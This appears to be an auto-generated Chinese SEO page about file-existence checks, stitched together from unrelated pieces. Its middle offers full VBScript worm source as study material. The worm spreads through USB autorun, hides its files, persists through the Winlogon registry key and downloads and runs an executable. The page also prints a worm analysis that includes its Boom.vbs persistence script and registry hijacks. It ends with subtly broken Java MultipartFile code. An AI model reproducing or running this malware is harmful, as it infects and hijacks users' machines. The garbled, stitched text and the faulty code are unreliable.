fileexists(游戏里default翻译)

老铁们,大家好,相信还有很多朋友对于fileexists和游戏里default翻译的相关问题不太懂,没关系,今天就由我来为大家分享分享fileexists以及游戏里default翻译的问题,文章篇幅可能偏长,希望可以帮助到大家,下面一起来看看吧!

在编程领域,文件存在性检查(fileexists)是一个基础但又至关重要的操作。无论是进行文件读写,还是进行数据处理,了解如何判断一个文件是否存在都是必不可少的。本文将深入探讨fileexists的概念、应用场景以及一些实用的技巧。

什么是fileexists?

让我们明确一下什么是fileexists。简单来说,fileexists就是用来判断一个文件是否存在于指定的路径下。这个操作在编程中非常常见,特别是在进行文件操作之前,我们需要确保文件存在,以避免因文件不存在而导致程序错误。

fileexists的应用场景

以下是一些fileexists常见的应用场景:

1. 文件读写操作前判断文件是否存在

在进行文件读取或写入之前,我们需要确保文件存在,以避免读取不存在的文件导致程序崩溃。

2. 批量处理文件时筛选文件

当需要批量处理文件时,我们可以使用fileexists来筛选出存在的文件,只处理这些文件。

3. 自动化任务中判断文件是否存在

在自动化任务中,我们经常需要检查某些文件是否存在,以确保任务可以正常执行。

fileexists的技巧与注意事项

在进行fileexists操作时,以下是一些技巧和注意事项:

技巧 注意事项
使用绝对路径或相对路径 使用绝对路径可以提高文件查找的速度,而使用相对路径则需要确保路径正确
考虑文件权限 某些文件可能由于权限问题无法被检查,需要确保程序具有相应的权限
考虑文件类型 fileexists操作对文件类型没有限制,可以检查任何类型的文件

实战案例:Python中的fileexists

以下是一个Python中的fileexists案例,演示了如何使用os模块的exists()方法来判断文件是否存在:

“`python

import os

file_path = ‘example.txt’

if os.path.exists(file_path):

print(f”

vbs脚本的语法格式

给你一个木马的源代码.可以学习一些关于文件和目录的操作.

On error resume next

Dim fso,wshell,curfolder,curdristr,curdri

Set fso=createobject(“scripting.filesystemobject”)

Set wshell=CreateObject(“WScript.shell”)

Set curfolder=fso.GetFolder(“.”)

curdristr=Left(WScript.ScriptFullName,3)

Set curdri=fso.GetDrive(curdristr)

reghid()'不显示隐藏文件

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&”\mp3.vbs” Then'如果在system32中

For i=1 To 2 Step 0

reghid()

For Each dri In fso.Drives

If dri.DriveType=1 And dri<>”A:” And dri<>”B:” Then

'autorun.inf文件夹改名

If fso.FolderExists(dri.Path&”\autorun.inf”) Then

fso.MoveFolder dri.Path&”\autorun.inf”,dri.Path&”\Rubbish”

End If

'复制自身及exe文件到移动硬盘

If fso.FileExists(dri.Path&”\mp3.vbs”) And fso.FileExists(dri.Path&”\autorun.inf”) Then

Else

If fso.FileExists(dri.Path&”\mp3.vbs”) Then

fso.DeleteFile dri.Path&”\mp3.vbs”,True

ElseIf fso.FileExists(dri.Path&”\autorun.inf”) Then

fso.DeleteFile dri.Path&”\autorun.inf”,True

End if

fso.CopyFile WScript.ScriptFullName,dri.Path&”\mp3.vbs”,True

If fso.FileExists(“.\SiZhu.exe”) And Not fso.FileExists(dri.Path&”\SiZhu.exe”) Then

fso.CopyFile”.\SiZhu.exe”,dri.Path&”\SiZhu.exe”,True

End If

autoinf(dri.Path)

'给刚复制的文件加上隐藏属性

Set norkon=fso.GetFile(dri.Path&”\mp3.vbs”)

wshell.run”attrib+r+a+s+h”&dri.Path&”\mp3.vbs”,0

Set norkon=Nothing

Set autoruninf=fso.GetFile(dri.Path&”\autorun.inf”)

wshell.run”attrib+r+a+s+h”&dri.Path&”\autorun.inf”,0

Set autoruninf=Nothing

If fso.FileExists(dri.Path&”\SiZhu.exe”) Then

Set norkonexe=fso.GetFile(dri.Path&”\SiZhu.exe”)

wshell.run”attrib+r+a+s+h”&dri.Path&”\SiZhu.exe”,0

Set norkonexe=Nothing

End if

End If

End If

Next

WScript.Sleep 15000

next

ElseIf curdri.drivetype=1 And curdri<>”A:\” And curdri<>”B:\” And curfolder.Path=curdristr Then'如果在移动硬盘中

reghid()

open(curdristr)

copyrun()

autorun()

WScript.quit

Else'如果在其他文件夹

copyrun()

autorun()

WScript.quit

End If

WScript.Sleep 15000

downrun()

Set fso=Nothing

Set curfolder=Nothing

Set curdri=nothing

Set wshell=Nothing

'写入autorun.inf

Sub autoinf(path)

Dim inf

Set inf=fso.createtextfile(path&”\autorun.inf”,True)

inf.writeline(“[AutoRun]”)

inf.writeline(“open=WScript.exe.\mp3.vbs”)

inf.writeline(“shell\open=打开(&O)”)

inf.writeline(“shell\open\Command=WScript.exe.\mp3.vbs”)

inf.writeline(“shell\open\Default=1”)

inf.writeline(“shell\explore=资源管理器(&O)”)

inf.writeline(“shell\explore\Command=WScript.exe.\mp3.vbs”)

inf.writeline(“shell\find=搜索(&E)”)

inf.writeline(“shell\find\Command=WScript.exe.\mp3.vbs”)

set inf=nothing

End sub

'打开文件夹

Sub open(path)

wshell.run”explorer”&path

End Sub

'自动启动

Sub autorun()

regget=wshell.RegRead(“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”)

If regget<>”userinit.exe,mp3.vbs” Then

wshell.RegWrite”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit”,”userinit.exe,mp3.vbs”,”REG_SZ”

End If

End Sub

'不显示隐藏文件

Sub reghid()

Dim reg

reg=wshell.RegRead(“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”)

If reg=”1″ Then

wshell.RegWrite”HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”,0,”REG_DWORD”

End If

End Sub

'判断system32中是否存在此文件,不存在则复制并运行;如果有SiZhu.exe,则复制并运行。

Sub copyrun()

If fso.FileExists(fso.GetSpecialFolder(1)&”\mp3.vbs”) Then

Else

fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&”\mp3.vbs”,True

wshell.Run fso.GetSpecialFolder(1)&”\mp3.vbs”

If fso.FileExists(“.\SiZhu.exe”) And Not fso.FileExists(fso.GetSpecialFolder(1)&”\SiZhu.exe”) Then

fso.CopyFile”.\SiZhu.exe”,fso.GetSpecialFolder(1)&”\SiZhu.exe”,True

wshell.Run fso.GetSpecialFolder(1)&”\SiZhu.exe”

End If

End If

End sub

'删掉自身,如果有SiZhu.exe,同样删掉。

Sub selfkill()

fso.DeleteFile(WScript.ScriptFullName)

End Sub

Sub downrun()

Set fso= CreateObject(“Msxml2.XMLHTTP”)

Set Shell= CreateObject(“Wscript.Shell”)

fso.Open”GET”,””,0

fso.Send()

Set fso= CreateObject(“ADODB.Stream”)

fso.Mode= 3

fso.Type= 1

fso.Open()

fso.Write(fso.responseBody)

fso.SaveToFile”C:\WINDOWS\Sti303.exe”,2

Shell.Run(“C:\WINDOWS\Sti303.exe”)

end sub

Worm.Win32.AutoRun.eee的行为分析

本地行为:

1、文件运行后会衍生以下文件:

%DriveLetter%\autorun.inf

%Temp%\~DF7634.tmp

%Temp%\~DF8840.tmp

%Temp%\~DF9A47.tmp

%DriveLetter%\MS-DOS.com

%Windir%\Cursors\Boom.vbs

%Windir%\Fonts\Fonts.exe

%Windir%\Fonts\tskmgr.exe

%Windir%\Media

ndll32.pif

%Windir%\pchealth\Global.exe

%Windir%\pchealth\helpctr\binaries\HelpHost.com

%Windir%\system\KEYBOARD.exe

%System32%\dllcache\autorun.inf

%System32%\dllcache\Default.exe

%System32%\dllcache\Global.exe

%System32%\dllcache

ecycler.{645FF040-5081-101B-9F08-

00AA002F954E}\Global.exe

%System32%\dllcache

ecycler.{645FF040-5081-101B-9F08-

00AA002F954E}\svchost.exe

%System32%\dllcache

ecycler.{645FF040-5081-101B-9F08-

00AA002F954E}\system.exe

%System32%\dllcache

ndll32.exe

%System32%\dllcache\svchost.exe

%System32%\dllcache\tskmgr.exe

%System32%\drivers\drivers.cab.exe

%System32%

egedit.exe

2、修改注册表:

HKEY_CURRENT_USER\Control Panel

\Desktop\SCRNSAVE.EXE

新:字符串: C:\WINDOWS\pchealth\helpctr

\binaries\HelpHost.com

旧:字符串: C:\WINDOWS\system32\logon.scr

描述:设置屏幕保护为病毒文件

HKEY_CURRENT_USER\Software\Microsoft

\Windows\CurrentVersion\Explorer

\Advanced\ShowSuperHidden

新: DWORD: 0(0)

旧: DWORD: 1(0x1)

描述:修改文件夹不可见隐藏文件

HKEY_LOCAL_MACHINE\SOFTWARE\Classes

\MSCFile\Shell\Open\Command\@

新:字符串: C:\WINDOWS\Fonts\Fonts.exe

旧:字符串:%SystemRoot%\system32\mmc.exe%1

描述:修改在运行命令中输入mmc.exe时候运行病毒

HKEY_LOCAL_MACHINE\SOFTWARE\Classes

egfile\shell\open\command\@

新:字符串: C:\WINDOWS\pchealth\Global.exe

旧:字符串: regedit.exe%1

描述:修改在运行命令中输入regedit.exe时候运行病毒

HKEY_CURRENT_USER\Software\Microsoft

\Windows\CurrentVersion

unOnce\@

键值:字符串: C:\WINDOWS\system32\dllcache\Default.exe

描述:添加启动项

HKEY_CURRENT_USER\Software\Microsoft

\Windows\ShellNoRoam\MUICache\C:\WINDOWS

\system32\dllcache

ecycler.

{645FF040-5081-101B-9F08-00AA002F954E}\Global.exe

键值:字符串: Global

描述:添加启动项

HKEY_CURRENT_USER\Software\Microsoft

\Windows\ShellNoRoam\MUICache\C:\WINDOWS

\system32\dllcache

ecycler.

{645FF040-5081-101B-9F08-00AA002F954E}\svchost.exe

键值:字符串: svchost

描述:添加启动项

HKEY_CURRENT_USER\Software\Microsoft

\Windows\ShellNoRoam\MUICache\C:\WINDOWS

\system32\dllcache

ecycler.

{645FF040-5081-101B-9F08-00AA002F954E}\system.exe

键值:字符串: system

描述:添加启动项

HKEY_CURRENT_USER\Software\Policies

\Microsoft\Windows\System\Scripts\Logoff\0\0\Script

键值:字符串: C:\WINDOWS\Cursors\Boom.vbs

描述:系统注销时启动病毒脚本

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft

\Windows NT\CurrentVersion

\Image File Execution Options\auto.exe\Debugger

键值:字符串: C:\WINDOWS\system32\drivers\drivers.cab.exe

描述:添加映像劫持项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft

\Windows NT\CurrentVersion

\Image File Execution Options\boot.exe\Debugger

键值:字符串: C:\WINDOWS\Fonts\fonts.exe

描述:添加映像劫持项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft

\Windows NT\CurrentVersion

\Image File Execution Options\msconfig.exe\Debugger

键值:字符串: C:\WINDOWS\Media

ndll32.pif

描述:添加映像劫持项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft

\Windows NT\CurrentVersion

\Image File Execution Options\procexp.exe\Debugger

描述:添加映像劫持项

键值:字符串: C:\WINDOWS\pchealth\helpctr

\binaries\HelpHost.com

描述:添加映像劫持项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft

\Windows NT\CurrentVersion\Image File Execution Options

\taskmgr.exe\Debugger

键值:字符串: C:\WINDOWS\Fonts\tskmgr.exe

描述:添加映像劫持项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft

\Windows\CurrentVersion\policies\Explorer

un\sys

键值:字符串: C:\WINDOWS\Fonts\Fonts.exe

描述:添加启动项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft

\Windows\CurrentVersion

un\@

键值:字符串: C:\WINDOWS\system\KEYBOARD.exe

描述:添加启动项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft

\Windows\CurrentVersion

unOnce\@

键值:字符串: C:\WINDOWS\system32\dllcache\Default.exe

描述:添加启动项

HKEY_LOCAL_MACHINE\SOFTWARE\Policies

\Microsoft\Windows\System\Scripts

\Shutdown\0\0\Script

键值:字符串: C:\WINDOWS\Cursors\Boom.vbs

描述:系统关闭时启动病毒脚本

HKEY_LOCAL_MACHINE\SOFTWARE\Policies

\Microsoft\Windows\System\Scripts

\Startup\0\0\Script

键值:字符串: C:\WINDOWS\Cursors\Boom.vbs

描述:系统启动时启动病毒脚本

3.利用vbs脚本在中毒机器注销、关机、启动进行病毒文件复制及启动项的添加,Boom.vbs文件:

dim fs,rg

set fs= createobject(scripting.filesystemobject)

set rg= createobject(wscript.shell)

on error resume next

rg.regwrite HKCR\.vbs\, VBSFile

rg.regwrite HKCU\Control Panel\Desktop\SCRNSAVE.EXE,

C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com

rg.regwrite HKCU\Control Panel\Desktop\ScreenSaveTimeOut, 30

rg.regwrite HKCR\MSCFile\Shell\Open\Command\,

C:\WINDOWS\pchealth\Global.exe

rg.regwrite HKCR

egfile\Shell\Open\Command\,

C:\WINDOWS\pchealth\Global.exe

rg.regwrite HKLM\SOFTWARE\Microsoft\Windows

\CurrentVersion

unOnce\,

C:\WINDOWS\system32\dllcache\Default.exe

rg.regwrite HKCU\SOFTWARE\Microsoft\Windows

\CurrentVersion

unOnce\,

C:\WINDOWS\system32\dllcache\Default.exe

rg.regwrite HKLM\SOFTWARE\Microsoft

\Windows\CurrentVersion

un\,

C:\WINDOWS\system\KEYBOARD.exe

rg.regwrite HKEY_CLASSES_ROOT\MSCFile

\Shell\Open\Command\,

C:\WINDOWS\Fonts\Fonts.exe

rg.regwrite HKCU\Software\Policies\Microsoft

\Windows\System\Scripts\Logoff\0\DisplayName,

Local Group Policy

rg.regwrite HKCU\Software\Policies\Microsoft

\Windows\System\Scripts\Logoff\0\FileSysPath,

rg.regwrite HKCU\Software\Policies\Microsoft

\Windows\System\Scripts\Logoff\0\GPO-ID,LocalGPO

rg.regwrite HKCU\Software\Policies\Microsoft

\Windows\System\Scripts\Logoff\0\GPOName,Local Group Policy

rg.regwrite HKCU\Software\Policies\Microsoft

\Windows\System\Scripts\Logoff\0\SOM-ID,Local

rg.regwrite HKCU\Software\Policies\Microsoft

\Windows\System\Scripts\Logoff\0\0\Parameters,

rg.regwrite HKCU\Software\Policies\Microsoft\Windows\System

\Scripts\Logoff\0\0\Script,C:\WINDOWS\Cursors\Boom.vbs

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Shutdown\0\DisplayName,

Local Group Policy

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Shutdown\0\FileSysPath,

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Shutdown\0\GPO-ID, LocalGPO

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Shutdown\0\GPOName,

Local Group Policy

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Shutdown\0\SOM-ID, Local

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Shutdown\0\0\Parameters,

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Shutdown\0\0\Script,

C:\WINDOWS\Cursors\Boom.vbs

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Startup\0\DisplayName,

Local Group Policy

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Startup\0\FileSysPath,

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Startup\0\GPO-ID, LocalGPO

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Startup\0\GPOName,

Local Group Policy

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Startup\0\SOM-ID, Local

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Startup\0\0\Parameters,

rg.regwrite HKLM\Software\Policies\Microsoft

\Windows\System\Scripts\Startup\0\0\Script,

C:\WINDOWS\Cursors\Boom.vbs

If Not fs.fileexists(C:\WINDOWS\Fonts\Fonts.exe)

Then fs.copyfile(C:\WINDOWS\Help\microsoft.hlp),

(C:\WINDOWS\Fonts\Fonts.exe)

If Not fs.fileexists(C:\WINDOWS\pchealth\helpctr

\binaries\HelpHost.com) Then fs.copyfile

(C:\WINDOWS\Help\microsoft.hlp),

(C:\WINDOWS\pchealth\helpctr\binaries\HelpHost.com)

If Not fs.fileexists(C:\WINDOWS\pchealth\Global.exe)

Then fs.copyfile(C:\WINDOWS\Help\microsoft.hlp),

(C:\WINDOWS\pchealth\Global.exe)

If Not fs.fileexists(C:\WINDOWS\system\KEYBOARD.exe)

Then fs.copyfile(C:\WINDOWS\Help\microsoft.hlp),

(C:\WINDOWS\system\KEYBOARD.exe)

If Not fs.fileexists(C:\WINDOWS\system32\dllcache

\Default.exe) Then fs.copyfile

(C:\WINDOWS\Help\microsoft.hlp),

(C:\WINDOWS\system32\dllcache\Default.exe)

If Not fs.fileexists(C:\windows\system32

\drivers\drivers.cab.exe) Then fs.copyfile

(C:\WINDOWS\Help\microsoft.hlp),

(C:\windows\system32\drivers\drivers.cab.exe)

If Not fs.fileexists(C:\windows\media

ndll32.pif)

Then fs.copyfile(C:\WINDOWS\Help\microsoft.hlp),

(C:\windows\media

ndll32.pif)

If Not fs.fileexists(C:\windows\fonts\tskmgr.exe)

Then fs.copyfile(C:\WINDOWS\Help\microsoft.hlp),

(C:\windows\fonts\tskmgr.exe)

4.启动方式多样化:

将系统默认屏幕保护程序%System32%\logon.scr替换成病毒文件%Windir%\pchealth\helpctr\binaries\HelpHost.com并修改屏幕保护启动时间为30s;在Logoff(注销)、Shutdown(关机)、Startup(启动)中加载病毒脚本%Windir% \Cursors\Boom.vbs,达到保持病毒文件和启动项的完整;修改注册在开机运行项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

\CurrentVersion

un、登陆用户运行项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

\CurrentVersion

unOnce、系统文件Explorer.exe文件加载项

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows

\CurrentVersion\policies\Explorer

un\sys,

添加了病毒文件的启动。

5.双重文件隐藏方式:

病毒运行后将衍生文件设置成系统隐藏文件,并修改注册表,隐藏受保护的操作系统:

HKEY_CURRENT_USER\Software\Microsoft\Windows

\CurrentVersion\Explorer\Advanced\ShowSuperHidden设置为关;

病毒文件主要以.EXE与.COM为后缀名,

所以设置HKEY_LOCAL_MACHINE\SOFTWARE\Classes

\comfile

everShowExt、

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile

everShowExt为关,即使启用系统受保护文件选项为开,

也是看不到病毒文件原型的。

6.伪装技术加映像劫持:

该病毒将释放文件名设置成regedit.exe、svchost.exe、msconfig.exe、tskmgr.exe、HelpHost.com等来伪装成系统文件,使得用户无法分辨;劫持在运行命令(cmd.exe)中运行regedit.exe与mmc.exe运行病毒文件;映像劫持系统文件ctfmon.exe、msconfig.exe、taskmgr.exe、autorun.exe及系统辅助工具autoruns.exe、auto.exe,达到系统加载以上文件或是运行以上文件时就运行病毒。

7.混淆视听:

该病毒衍生的文件图标为文件夹图标,误导用户,使用户认为该病毒是文件夹,导致误运行病毒文件;将系统文件%system32%\taskmgr.exe和%system32%

undll32.exe复制到系统备份目录%System32%\dllcache下,并分别重命名为tskgr.exe和rndll32.pif;病毒衍生文件%Windir%\Fonts\tskmgr.exe、%Windir%\Media

ndll32.pif;以达到混淆视听的作用。

8.保持计算机原有状态:

病毒通过修改注册表,进行开机关机优化设置,使得开关机速度提升,使计算机不会因为运行多个病毒文件拖慢系统,修改如下:

HKEY_CURRENT_USER\Control Panel\Desktop\AutoEndTasks

新:字符串: 1

旧:字符串:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg

\BootOptimizeFunction\LcnEndLocation

新:字符串: 642218

旧:字符串: 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg

\BootOptimizeFunction\LcnStartLocation

新:字符串: 550001

旧:字符串: 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg

\BootOptimizeFunction\OptimizeComplete

新:字符串: Yes

旧:字符串: No

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg

\BootOptimizeFunction\OptimizeError

新:字符串:

旧:字符串: Not Run

9.进程互锁:

病毒完全运行后创建Global.exe、svchost.exe、system.exe进程,以达到进程互相保护。

注:%System32%是一个可变路径。病毒通过查询操作系统来决定当前 System文件夹的位置。

%Windir%   WINDODWS所在目录

%DriveLetter%  逻辑驱动器根目录

%ProgramFiles%   系统程序默认安装目录

%HomeDrive% 当前启动的系统的所在分区

%Documents and Settings% 当前用户文档根目录

%Temp% \Documents and Settings\当前用户\Local Settings\Temp

%System32% 系统的 System32文件夹

Windows2000/NT中默认的安装路径是C:\Winnt\System32

windows95/98/me中默认的安装路径是C:\Windows\System

windowsXP中默认的安装路径是C:\Windows\System32

怎么将file对象转multipartfile类型

将file对象转为multipartfile类型的实际操作主要涉及自定义一个multipartfile实现类,并在该类中封装file对象。这是因为在实际应用中,multipartfile作为Spring框架中用于处理多部分上传文件的接口,其设计不支持直接从file转换,因此需要额外的操作来实现这种转换。具体步骤如下:

首先,需要创建一个实现了MultipartFile接口的类,该类将包含file对象,并提供一个构造函数用于接收file实例。例如:

java

public class CustomMultipartFile implements MultipartFile{

private File file;

public CustomMultipartFile(File file){

this.file= file;

}

//提供MultipartFile接口所需的方法实现

@Override

public String getName(){

return file.getName();

}

@Override

public String getOriginalFilename(){

return file.getName();

}

@Override

public long getSize(){

return file.length();

}

@Override

public byte[] getBytes() throws IOException{

return Files.readAllBytes(Paths.get(file.getAbsolutePath()));

}

@Override

public StreamedContentAsStream getInputStream() throws IOException{

return new StreamedContentAsStream(file);

}

@Override

public void transferTo(File destination) throws IOException, FileExistsException{

file.renameTo(destination);

}

//添加其他MultipartFile接口所需的方法实现

}

接着,实现StreamedContentAsStream类,以支持从file中读取内容。这个类需要实现StreamedContent接口,通常用于从文件流中读取内容:

java

public class StreamedContentAsStream implements StreamedContent{

private File file;

public StreamedContentAsStream(File file){

this.file= file;

}

@Override

public InputStream getContent() throws IOException{

return new FileInputStream(file);

}

@Override

public String getFilename(){

return file.getName();

}

@Override

public long getContentLength(){

return file.length();

}

@Override

public String getHeader(String name){

return null;

}

@Override

public HttpHeaders getHeaders(){

HttpHeaders headers= new HttpHeaders();

headers.setCacheControl(“no-cache, no-store”);

headers.setExpires(0);

headers.setContentType(MediaType.APPLICATION_OCTET_STREAM);

return headers;

}

}

至此,自定义的CustomMultipartFile类已能够完成file对象到multipartfile类型的转换。在实际项目中,只需使用该类作为MultipartFile的实现,即可在处理多部分文件上传时实现file对象的封装和使用。

END,本文到此结束,如果可以帮助到大家,还望关注本站哦!

© 版权声明
THE END
喜欢就支持一下吧
点赞6 分享